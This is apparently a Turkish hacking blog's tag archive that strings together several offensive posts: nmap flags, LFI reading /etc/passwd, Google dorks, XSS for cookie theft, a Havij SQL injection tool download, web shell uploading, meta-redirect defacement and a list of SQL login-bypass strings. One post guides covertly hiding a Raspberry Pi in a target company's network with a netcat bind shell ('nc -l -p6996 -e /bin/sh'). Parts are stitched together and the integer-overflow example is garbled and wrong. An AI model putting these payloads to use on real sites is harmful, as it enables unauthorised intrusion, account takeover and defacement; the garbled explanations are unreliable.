hack etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
hack etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
Selamün aleyküm arkadaşlar ;

Nmap ileri seviye kullanım adlı makalemizde nmapın operatör kullanımından bahsedeceğiz hemen başlayalım ;

Nmap kali linuxta bulunmakta fakat siz windowsta kullanmak istiyorsanız tavsiyem pentestboxu indirmeniz veya direk https://nmap.org/ adresinden indirebilirsiniz fakat windows ortamında linux rahatlığını veren pentestbox tavsiyemdir pentestbox için buyrun ;

https://pentestbox.com/#download indirebilirsiniz .

Şimdi hemen nmapın kullanımına geçelim

nmapın kullanımı

Görmüş olduğunuz gibi nmap normal bir ip adresinde portları tarıyor şimdi portların durumuna bakmak için şu kavramların ne anlama geldiğini bilmemiz gerek .

OPEN : PORT AÇIK MANASINA GELMEKTEDİR.
CLOSED : KAPALI ANCAK ERİŞİLEBİLİR MANASINA GELMEKTEDİR .
FİLTERED : BU KAVRAM İSE NMAPIN PORTUN AÇIK KAPALI OLDUĞUNA KARAR VEREMEMESİ DURUMUDUR .

Mesela burda basit olarak nmap ip adresi yazarak portların durumunu gördük , fakat taramayı hızlandıracak veya genişletmek gibi detaylandırmak gibi geniş çaplı arama gibi  bir işlem yapacak olursak bunlar için ise ip adresinin önüne bir takım karakterler girmemiz gerekecektir bunlar ise ;

-A = OS VERSİYONU BULMA SCRİPT TARAMASI YAPAR  | TRAERATE ÖZELLİĞİ TAŞIR .

-T4 = 5 ŞEKİLDE İNCELENİR , -T1 , -T2 ... GİBİ 5E KADAR GİDER DAHA HIZLI BİR ŞEKİLDE TARAMAYA YARDIMCI OLUR .

-sL = HEDEFLERİ VE DNS ADRESLERİNİN LİSTESİNİ ÇIKARIR .

-sn = PORT SCAN SEÇENEĞİNİ İPTAL EDER .

-Pn = HOST DİSCOVERY YAPMAZ  , BÜTÜN PORTLAR AYAKTA GÖZÜKÜR .

-r = PORTLARI SIRAYLA TARAR . SİSTEMATİK BİR ŞEKİLDE .

-e = NETWORK ARAYÜZÜNÜ BELİRLEMEK AMACIYLA KULLANILIR .


Selamün Aleyküm Arkadaşlar ;


Bu yazımızda sizlere başlıktaki açıkların nasıl oluştuğunu , nasıl kapatıldığını ve nasıl exploit edilebileceği konusunda bilgim doğrultusunda aktarmaya çalışacağım , 

Bu açıklar yıllardır var olup hala günümüzdede bolca bulunmaktadır , web uygulama geliştiricileri webmaster diye tabir ettiğimiz meslek grubundaki insanları bilgisizlikleri , gözden kaçırmaları , dikkat etmemeleri gibi durumlarda oluşur bu açık türleri , hackerlarda bu durumdan faydalınarak sistemi ele geçirebilip zarar verebilirler . Hatta sadece sizin sistemi bile değil tüm sunucuya zarar verebilirler .


Şimdi Bu zaafiyetleri içeren bir kod parçası yazalım ;

<?php

include(bul.php);

?>

Şimdi buradaki kodu inceleyecek olursak include parantez içerisindeki sayfayı dahil etmek için kullanılır . Yani bu kodudda include bul.php dosyasını dahil eder. Bizde şöyle bi senaryo düşünelim .
bul.php'yi dahil ettik lakin böyle bir dosya yoksa ? işte tam olarakda burada gerçekleşiyor zaafiyet eğerki bu sayfa yoksa karşımıza şöyle bir hata alacağız .

Warning: include(bul.php) functinon.include 

...........................................


gibi bi sayfa hatasıyla karşılaşacağız , 



Şimdi biz include ettiğimiz bul.phpnin urlde gözükeceği adres site.com/savo.php?id=bul.php olacaktır biz bul.php yerine 
Dikkat edelimki arkadaşlar ’bul’ yerine ../../../etc/passwd değerini gönderdik ve uygulama vasıtasıyla
sunucu üzerindeki /etc/passwd dosyasını okumuş olduk .Kod parçaçığı ’bul’ değerini aldığında aşağıdakine
benzer yol izlemektedir. /tomcat/webapps/application+../../../../../etc/passwd değeri birleştirilmiş
ve ../ yardımı ile bir üst dizine çıkarak ilerlenmiştir.En üst root dizine gelindiğinde ise ../ dizin
gezinimi parametrelerinin artık bir anlam ifade etmediğini yani ’../’ sayısının çokluğunun önemli olmadığını
ve kök dizine kalarak /etc/passwd dosyasına erişim sağlanıp , okunmasını sağlamıştır.Bu sayede yetki dahilinde
bulunan işletim sistemi üzerindeki dosyalar okunabilmektedir .


VE En Önemlisi ise bu açıktan nasıl shell atılır sorusu olacaktır cevap olarak buyrun video ;







Google Hacking Database


Şimdi öncelikle neden Google diyecek olursanız Google bu alanda dünyanın en iyisi ondan dolayı biz Googleyi göz önünde bulundurarak işlemlerimizi yapacağız , Google demişken herkes googleyi zannımca aramak istediği kelimeyi aratarak bulur mesela güvenlik ile ilgili bişiler bulmak istiyorsanız güvenlik yazarsınız ve size açıklamasında veya domain adında veya başlığında güvenlik  ile ilgili sonuçları verir fakat biz sadece urlsind güvenlik geçen veya sadece başlığında güvenlik geçen siteleri bulmak istiyorsak yazmış olduğumuz güvenlik adlı isim işimize yaramayacaktır işte burda devreye googlenin spesifik arama kelimeleri giriyor , mesela inurl:.php?id= yazdığımız zaman bize urlsinde .php?id= bulunan web sitelerini döker , resimde gördüğümüz gibi .

dork

İşte biz bu gruplama yapan kelimelere GOOGLE Operatörleri deriz ,

Bunlar ;

''+'' ( ARTI ) : Bir kelimeni başına gelirse geldiği kelimeyi aramaya dahil eder .
''-'' (EKSİ) :Bir kelimenin başına gelirse geldiği kelimeyi aramada göstermez .
* : Herhangi anlamına gelir .
() : gruplama anlamına gelir . Bunlar örnek amaçlıdır yoksa google operatörü daha fazladır. 


Diğer operatörler de şu şekildedir ;



Site: Bir websitesinin googlede indexlenmiş sayfalarını gösterir.
Ext : Arama yapılacak dosya tiplerini belirtir . (.doc .txt .xls gibi )
inurl:Belirtilen kelimeyi urlde arar.
intext: Belirtilen sorguyu sayfanın içeriğinde arar. 
related:Belirtilen sayfanın içeriğine yakın sayfaları gösterir.

Şimdi bu belirtmiş olduğum operatörler özet olarak geçtim desem yeridir . Bunlara undergrounda genel tabiriyle 'dork ' denir .

Kullanımından Bahsetmek Gerekirse ;


Selamlar Saygılar Arkadaşlar ;



Integer Overflow türkçe adıyla TAMSAYI TAŞMASI demektir , bu problem daha çok alçak seviyeli diye tabir edilen low level de denir , C,C++ gibi programlama dillerinde ortaya çıkar . Bu problem integer tipindeki bir değişkenin alabileceği maksimum büyüklükteki sayıdan daha büyük bir sayı verdiğimizde ortaya çıkan değişimdir . Önrke verecek olursak 32 bit signed integer bir değer için 2*31)-1 :2147483647 en büyük değer olacaktır . Lain pozitif sayının toplamı acaba negatif olabilirmi ?


Hemen Örnekleyelim ;


-------------
| buraya | + 5 = 
-------------

-------------
| 5 | + 5 = 10 --------------------------------> Girdiğimiz rakamlar Integerdeki max değerine kadar normal şekilde toplamayı yapacaktır.
------------- Peki ya max değerin üstünde bir değer girilirse ? Max Değer = 500
-------------
|501 | + 5 = -506
------------- 
Şeklinde 2 Pozitif sayının toplamı ile elde edilen negatif sayı olacaktır. Buradaki sayı bilgisayardaki Integer değeri olarak temsil edilebilecek en 
büyük sayıdan bir fazladır.Bu durumda ise taşma olup sonuç negatif çıkacaktır.
Bu durumda ise basit bir toplama işlemi yapan uygulamaların , büyük bir sayı karşısında nasıl davrandığını görmüş bulunduk arkadaşlar .
#include <stdio.h>
#include <string.h>
int main(int argc,char **argv){
int i;
unsigned short int a;
char *ptr="C Dilinde İnteger Overflowa Örnek by Turk DevilZ";
i = atoi(argv[1]);
a = i;
if(a > strlen(ptr)){ [1]
printf("length is too long");
return -1;
}
printf("character: %c",ptr); [2]

}
#./hello 6
Character: r
#./hello 500
length is too long
#./hello 500
Segmentation(Integer Overflow)
Daha önceki olan son örneğimizde bahsettiğimiz sorundan Dolayı Segmentetion(Integer Overflow) oluştu.
501 değeri Integerdeki Max değerimiz olan 500 den büyük olduğu için İşlem sonucunda aşağıdaki gibi değerler elde edilir.
500 mod(500+1)=0
Bundan dolayı 
i = atoi(argv[1]);
a = i;
if(a > strlen(ptr)){ ------> ile belirtilen yerde 0> strlen(PRT) şartının sonucunda if-else yapısının içine girmek yerine 
printf("character: %c",ptr); --------> Satırının içine girmektedir.


XSS



XSS - Cross Site Scripting yani türkçe adıyla Siteler Arası Betik Çalıştırma ; Kendisi geçmiştede var olduğu gibi günümüzdede varlığını sürdürmektedir hatta facebook , twitter , yahoo gibi sitelerde hala bulunmakta ve her geçen gün bu açıktan bug bounty kapsamında ödüller alınmakta ve hall of fameye girilmektedir .

Xss Zaafiyetinden bahsetmek gerekirse html , css , javascript ile hazırlanmış kod parçacıklarının hedeflediğimiz istemcide  izinsiz olarark çalıştırılmasından kaynaklanmaktadır . Xss zaafiyeti web uygulamalarında kullanıcı girdisi yapılabilen alanlar diye tabir edilen arama kısmı , ziyaretçi defteri , yorum kısımları gibi alanlarda bulunup buralardan  çıkarılan verilerde hedeflediğimiz kullanıcı olur , ziyaretçi olur , admin olur bunun gibi hedeflerimizin oturum bilgisini çalar ve istediğimiz
şekilde kullanırız .

XSS Zaafiyeti yaygın olarak Yansıtılmış ( Reflected ) XSS ;

Bildiğimiz gibi girmiş olduğumuz çoğu web sitesi kullanıcı ile etkileşim halindedir . Ziyaretçilerin veya kullanıcıların veri girmesine ve sonra girilen verilere göre oluşuturulmuş dinamik sayfalara tekrar kullanıcılara gösterilmesine olanak sağlamaktadır .Şimdi biraz açıklayıcı konuşmak gerekirse www.campaignmotors.coma girdik dimi neden bu site dicek olursanız bu site bug bounty kapsamında yani önemli site şimdi biz bu sitede açıkmı bulmak istiyoruz ve bulmak istediğimiz açık XSSmi ozaman kardeşim arama kısmına gel herhangi bir html kodu yaz eğerki yazdığın html kodu çalışıyorsa xss var demektir ve bu çıktı sadece senin göreceğin şekildeyse yani veritabanına felan işlemiyorsa REFLECTED XSS var demektir .

Örnekleyelim bakalım ;

www.defacer-misafir.blogpsot.com/search.php?id=hack

dedik karşımıza hackla ilgili içerikler geldi işte buradaki hack kelimesini <script>alert(1)</script> diye değiştirirsek
karşımıza ekranda hack adlı bi içerik çıkacaktır .

Videodan Devam : 





Depolanmış (Stored ) XSS



Bu Xss çeşidide diğer xss çeşitleri gibi kullanıcının etkileşim sağladığı alanlarda bulunur ve gerçekleşir . Fakat en önemli fark girilen
girdiyi veritabanına kaydeder.

Örnekleyecek olursak ;

Mesela saldıracağınız bir websitesi var web sitesinde yorum yapabileceğiniz bir kısım var  siz bu kısma meta kodu attığınız zaman
o kod veritabanına kaydolacak ve sitenin yorum kısmı atmış olduğunuz meta kodundaki yönlendireceğiniz web sitesine yönelecektir.
Tabi sadece bununla sınırlı değil ister cookie de alırsınız veya hacklink kasarsınız o size kalmış bişi .

Videodan Devam ;




Havij Nedir ?


Havij sql injection açığı bulunan websitelerini exploit etmeye yarayan kullanıcı dostu arayüz sunan , kolay kullanılabilen ve son derece basit olan bir programdır .



Havij Nasıl Kullanılır Diyecek Olursanız 


Buyrun ; 






İndirme Linki : http://dosya.co/34bgtjslo58q/havij_1.16.rar.html
Casus Robot , Oyuncak , Yazılımı Nasıl Yapılır ?

Mr.Robot adlı bir hackerin hayatını anlatan diziyi bilmeyeniniz yoktu bilmeyeniniz varsada zaten diziyi anlatmayacağımız için sıkıntı yok neyse diziyi izleyenler bilir Elliot adındaki hackere kötü bir firmanın datacenterına sızıp ısıtma soğutma gibi sistemleri manipüle ederek bozması isteniyordu oda aşağıda anlatılmakta olan yöntem ile yaptı bunu buyrun ;

Öncelikle Rasperrry Pi'nizin olması gerekmekte eğerki elinizde yoksa googleye gelip rasperry yazarak alabilirsiniz  kendisi tam donanımlı mini bilgisayardır , fiyatı ortalama 140 - 170 civarları arasında seyretmektedir .

1. Adım: Kali’nin ARM versiyonunu indirin

Tekrardan hatırlayalım, Kali Linux , hackerların ve güvenlik uzmanlarının işletim sistemiydi. İlk adım, tabi ki, Raspberry Pi ile uyumlu bir Kali versiyonu edinmek. Raspberry Pi ve birçok mobil cihaz ARM tipi işlemciler kullanırlar, bunun sebebi enerji açısından tasarruflu olmaları ve ısınma problemlerinin az olmasıdır. ARM tipi işlemci dolayısıyla Kali’ninde bu sisteme özel ve uygun olarak derlenmesi gerek.

Neyse ki Offensive Security’i şirketi bunu halletmiş durumda kendilerine minnetlerimi sunarım .



Offensive Security’nin sitesindeki download bölümüne geçelim ve işletim sistemimizin Raspberry Pi versiyonunu indirelim. İndirdikten sonra herhangi bir zip programıyla dosyaları çıkartalım.


2. Adım: Win32 Disk Imager programını indirip yükleyin

SourgeForge sitesinden Win32 Disk Imager programını indirip yükleyelim. Bu program sayesinde imaj dosyalarını SD kart veya USB belleklere yazabiliyoruz. Tavsiyem en az 4 gb boyutlu hızlı bir SD kart kullanmanız. Piyasada uygun fiyata bulabilirsiniz.


3. Adım: Disk Imager programını çalıştırın

Şimdi yüklemiş olduğumuz Disk Imager programını sağ tuş tıklayıp “Yönetici olarak çalıştır” seçeneğiyle açıyoruz.



Image file kısmında, açtığımız Raspberry Pi imajını gösteriyoruz. Device olarak SD kartımızın bulunduğu harf lokasyonunu seçiyoruz. Seçimlerimizi yaptıktan sonra “Write” butonuyla yazdırmaya başlıyoruz. Yazma işlemi sırasında sabırlı olunuz biraz vakit alacaktır.



Eğer LINUX kullanıyorsanız işler biraz daha kolaydır. Herhangi bir şey yüklemenize gerek yok. Linux’te ”dd” komutu mevcut. Bu komut adli bilişim işlemlerinde disk imajı oluşturmak için kullanılır. Gerekli işlemi yapmak için kullanacağımız komutu görelim. Varsayalım ki imajımızın adı Kali-RPI.img olsun, SD kart lokasyonu /dev/sdc ve blok boyutunu (block size) 512k olarak belirlersek, yazacağımız komut şöyle olacaktır:

kali > dd if =Kali-RPI.img of =/dev/sdc bs=512k


4. Adım: SD kartı Raspberry Pi’a yerleştirelim. 

Yüklemeleri tamamladıktan sonra SD kartı PC den alıp Raspberry Pi’a aktaralım ve boot edelim/başlatalım. Başladıktan sonra sistem, bizleri otomatik olarak komut satırına aktaracak, kullanıcı adı ve şifre isteyecek.

Username: root

Password: toor


yazıp ardından:

Kali> startx

yazıyoruz. Bu startx komutu X11 olarakta bilinen X Pencere Sistemi’ni başlatır. Kısaca tanımı yapalım X Pencere Sistemi (X), daha çok GNU/Linux ve Unix benzeri işletim sistemlerinde kullanılan grafik arayüz altyapısıdır. Genel olarak ekrana çizdirme ve kullanıcıdan geribesleme alma işlerini yapan X sunucusunu, ve uygulamaların sunucu ile haberleşme için kullanabileceği X kütüphanesini kapsar. 
Ve işte, Kali yüklü casus Raspberry Pi bilgisayarımız hazır.


5. Adım: Raspberry Pi’da Netcat Listener uygulamasını başlatın

Geldiğimiz bu aşamada Kali yüklü Raspberry Pi bilgisayarımız var artık ve onu bahsettiğimiz kötü firmanın ağına bağlayabiliriz. Raspberry Pi Ethernet bağlantısına sahiptir, isterseniz de wireless adaptör takabilirsiniz. Bu mini ajanımız çok ufak olduğundan görünmeyecek şekilde her yere monte edilebilir; bilgisayar kasasına, telefon içerisine ve hatta bir duvar saatinin arkasına bile.



Raspberry Pi ağa bağladıktan sonra Netcat Listener uygulamasını başlatabiliriz artık. Uygulama kali içerisinde mevcuttur. Netcat uygulamasını aşağıdaki komutu yazarak başlatıyoruz:

Kali> nc –l –p6996 –e /bin/sh



Bu komut Raspberry Pi üzerindeki terminale 6996 portundan ulaşım açar.
Artık Elliot, Kali üzerinden Netcat kullanarak Raspberry Pi’a tekrardan ulaşabilir. Bunu yapmak için kullanması gereken komut şudur:

Kali> nc 192.168.1.105 6996



Bundan sonra ifconfig sorgusuyla Elliot, Raspberry Pi terminalinde olduğunu görebilir. Uyarmak isteriz ki bu komutu kullanmadan Raspberry Pi’a ait ip adresinden emin olmak gerekir.

Casus Raspberry Pi cihazımıza bağlanmanın, tabi ki başka yöntemleri de vardır. SSH kullanılabilir mesela, SSH, Secure Shell teriminin kısaltılmış halidir, tanımını yapacak olursak; SSH bilgisayar-bilgisayar, bilgisayar-sunucu, sunucu-sunucu bağlantı çeşitleri içerisinde güvenli iletişimi sağlayan bir protokoldür.

casus robot yapımı

Eğer grafiksel arayüz ile bağlanmak istenirse VNC serveri yüklenebilir. Yine tanım yapalım; VNC, özetle herhangi bir ağ sunucusu üzerinde çalışan grafik arayüz uygulamalarına herhangi bir başka ağ üzerindeki bir bilgisayardan kolaylıkla ve hızla erişerek bu uygulamaları kullanabilmemizi ve yönetmemizi sağlayan platform bağımsız bir yapı. Örnek bir VNC bağlantısı resmi aşağıda verilmiştir.

casus robot yapımı

Yukarıda bahsettiğimiz son 2 bağlantı türünü tercih etmeme sebebimiz, kötü niyetli firmamızın ağında tespit edilme olasılıklarının daha yüksek olmasıdır. 
Selamlar Saygılar ;


Bugünku konumda sizlere shell attığımız sitenin serverındaki siteleri toplu olarak bilgilerine erişmeyi göstereceğim , öncelikle bir siteye shell nasıl atılır gibi konuları öğrenmek istiyorsanız bu videoları izlemenizi tavsiye eder , daha sonra toplu config videosunu izlemenizi isterim ,


Öncelikle Shell Nedir ? 


Örnek Bir Shell Atma Çeşidi :





Ve TOPLU CONFİG ÇEKME ; 




Merhabalar ;

 Bugünkü konumuzda Havij İle 406 , 403 , Waf Bypass Nasıl Yapılır ? konusunda değineceğiz . Bildiğimiz gibi havij ile sql injection açıklarını exploit edebiliyoruz fakat exploit etmeye çalıştığımız sistemde mod security gibi birtakım firewallar varsa hata alıyoruz bu hatalar 406 ,406 vsvs gibi uzayıp gider işte bunları havij ile nasıl bypass ederiz ona değineceğiz sanalda az bulunan bir konudur havij ile bypass konuyu uzatmadan iyi seyirler dilerim .


Merhabalar arkadaşlar ;

 Bugünkü konumda sizlere bir web sitesinin admin paneline girdikten sonra yapabileceğiniz işlemlerden birisi olan 'Meta' adı verilen yönlendirme koduyla hacking yapmanızı göstereceğim .


Öncelikle META Kodu Nedir ? 

<meta http-equiv="refresh" content="5;URL=http://www.sitekodlari.com">

Meta adı verilen kod tam olarak bu şekildedir , yukarıda büyük harflerle yazmış olduğumuz ''5'' ve ''sitekodlari.com'' bizim bu kodda değişiklik yapabileceğimiz yerlerimizdir , '5' yazan yere meta kodunu atmış olduğumuz sitenin kaç saniye sonra vereceğimiz linkteki siteye yönlenmesini sağlar , diğer büyük harflerle yazılan site adresimizde ise meta koduyla yönlendireceğimiz sitedir , yani biz bu kodu bir web sitesine attığımız zaman atmış olduğumuz web sitesi 5 saniye sonra sitekodlari.com adresine yönlenecektir .


Uygulamalı olarak buyrun ;


Nedir Bu Shell ?

Shell yüklenmiş olduğu sitede sizlere birtakım yetkiler veren bir materyal , tool , yazılım veya dosyadır diyebiliriz . 
Shell attığınız sitede permission yetkisine göre bir site sahibi kadar yetkiniz olduğu gibi bir sistem admini kadarda yetkiniz olabilir .
Bu yetki işlemine 'permission' denir .

Eğer bir sitede permissionlar kapalıysa farklı shell çeşitleri kullanabildiğiniz gibi , serverda root olarakda tüm sistemde tam
yetkiye sahip olabilirsiniz. 

Örnek Bir Shell İncelenmesi ; 


Shell Nasıl Atılır ?

*Admin Panel İnjection (Login Bypass )
*RFI/LFI
*Exploit Yardımı ile 
*Upload Açıklarından
*XSS ile 
*Sosyal mühendislik 


Bir Shell Atmanın Anatomisi İçin :

Hedef Sistemde Açık Bulup Panele Girmek ; 



Panele Girdikten Sonra Shell Atma ; 



LFI Açığı Bulduktan Sonra Shell Atma ; 





Login Sayfası İstismarı Nedir ?

Merhabalar ben misafir bugünkü yazımda sizlere ''login bypass'' adı verilen veya ''admin panel injection'' adı verilen admin paneline yönelik saldırıdan bahsedeceğim hememekanizmaları  
bulunmaktadır. Bu kimlik doğrulama işlevi ise bir veritabanı tablosunda bulunan kullanıcı adı ve parola bilgilerinin kullanıcının girmiş olduğu veriler ile karşılaştırılması ile yapılmaktadır. Bu karşılaştırma SQL cümleciği bir SQL enjeksiyonu zafiyetine sahip ise ,uygulamanın kimlik doğrulama mekanizmasını göz ardı edilerek , herhangi bir bazen özellikle seçtiğimiz kullanıcı ile uygulama giriş yapma olanağı oluşabilmektedir.

Bu kontrol ise kimlik doğrulama işlevi barındırdan her uygulamaya yapılacak ilk testlerinden biridir. İlgili kimlik doğrulama mekanizmalarına basit bir örnek vererek , zafiyeti örnekleme adına bişiler yapalım ;


public Users login (String username, String password) {
Users user = new Users();

...

   ResultSet rs=stmt.executeQuery(’’select*FROM users WHERE username=’’+username+’’ and password=’’+password+’’);
   while (rs.next()) {
               
          user=newUsers(rs.getInt(’’userıd’’),Usertype.USER,rs.getstring(’’username’’));


   }

...
 
   return user ;

}


Login metoduna gönderilen username ve password parametrelerinin hiç bir kontrolden geçmeden SQL cümleciği içerisine
eklendiğini varsayalım . İlgili SQL cümleciği ise users tablosunda kullanıcıdan gelen kullanıcı adı ve parola bilgilerine
bakarak kullanıcının bilgilerini bir obje içine doldurmaktadır.Dolayısıyla uygulamada bu obje içerisindeki verinin varlığını
kontrol ederek , kullanıcıya giriş hakkı vermektedir.Şimdi kullanıcıdan gelebilecek ne tür bir girdi ile bu kontrolün
aşılabileceğine bakalım .




Resimdeki örnekte arkadaşlar parolaya ihtiyaç yoktur , ister CW yazın isterseniz Ordu-yu Lojistik yazın önemi yoktur .
İlgili örneğimizde kullanıcı adı ve parolanın sorgulandığı SQL cümleciği içerisine yerleştiğinde SQL cümleciği oluşacaktır ;


SELECT * FROM users WHERE username=’a’ or ’1’=’1’--’ and password=’t4’

Cümleciğine baktığımızda ise users tablosundan username bilgisi a olanlar veya 1=1 olanlar diye bir ifade görülüyor olacaktır.
İfade içerisinde veya(OR) kullanıldığı için WHERE’in sağ tarafı her zaman 1(true) dönecektir.İlgili veritabanının da ORACLE
olduğunu varsayarak -- karakteri sonrası yorum satırı olarak algılanacak ve işlenmeyecektir.Dolayısıyla bu sorgu ;

SELECT * FROM users WHERE username=’a’ or ’1’ halini alacaktır .

Buda users tablosundaki tüm kullanıcıların listelenmesini sağlayacaktır ve tek bir user objesi oluştuğu için ilgili tablodaki
son kullanıcının bilgileri dolacaktır.Bu sayede uygulamanın users tablosundaki son kullanıcı ile uygulamaya giriş yapılacaktır.

Bu durumda ilk kanı arkadaşlar ; İlk kullanıcının yönetici olduğu yönündedir , açıkcası genelde durum böyledir.Eğerki arkadaşlar
lk kullanıcı ile girilmek isteniyorsa aşağıdaki fotoğraf daki gibi bir yöntem izlenebilir .




Şimdi resimdeki test parametresi girildikten sonra SQL cümleciği aşağıdaki gibi olacaktır .

SELECT * FROM users WHERE username=’a’ or’1’=’1’ and rownum=1-- and password’’t4’’

rownum=1 sayesinde ilgili SQL cümleciğinin döndürmeye çalışacağı kullanıcılardan sadece ilki alınacaktır. İlk kullanıcının da yönetici
olma varsayımıyla uygulamaya yönetici kullanıcısı ile giriş yapmış olunur.





Aynı şekilde arkadaşlar aynı şekilde olmasa bile UNION sorguları yardımı ile uygulama üzerinde tanımlı olmayan bir kullanıcıyla da kimlik
doğrulama mekanizmasını geçme imkanımız vardır. Hedef uygulamamızın ’users’ tablosunun id,username,password,name,lastname, alanlarından
oluştuğunu varsayalım yani varsayım yapalım öyle bir uygulamanın olduğunu düşünelim ; Varsayım yanlış olsa da bulmak sadece deneme ve
yanılmalardan ibaret olacaktır.




Bu arkadaşlar fotoğrafta varsayım olarak yapmış olduğumuz test parametremizi SQL sorgusu içine girdiğinde aşağıdakine benzer bir sordu oluşacaktır ;

SELECT *FROM users WHERE username=’’UNION SELECT 999,’T4’,’D3’,’İSMAİL’,’bülbül’ FROM dual--’andpassword=’x’

Bu sorgu sayesinde kullanıcı adı : İSMAİL olan bir kullanıcı ile uygulamaya giriş imkanı bulacaktır.

Kullanılabilecek sql parçacıkları ;

''Or'='Or''
anything' OR 'x'='x
1'or'1'='1
' or 1=1 or ''='
" or 1=1 or ""="
' OR ''='
'' OR ''=''
'OR''='
hey' or 1=1–
''Or 1 = 1'
' or 1=1-- 
or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
hi") or ("a"="a
'hi' or 'x'='x';
x' or 1=1 or 'x'='y
\x27\x4F\x52 SELECT *
\x27\x6F\x72 SELECT *
'or select *
admin'--
")) or (("x"))=(("x
" or ""+"
admin"or 1=1 or ""="
admin") or ("1"="1"--

Konuyu daha İyi anlayabilmeniz için videolar ;

https://www.youtube.com/watch?v=h65eyw94CMI
https://www.youtube.com/watch?v=wDRCTy8tPUA
https://www.youtube.com/watch?v=glScQ9qqMlI
https://www.youtube.com/watch?v=W0OUEOEMLOI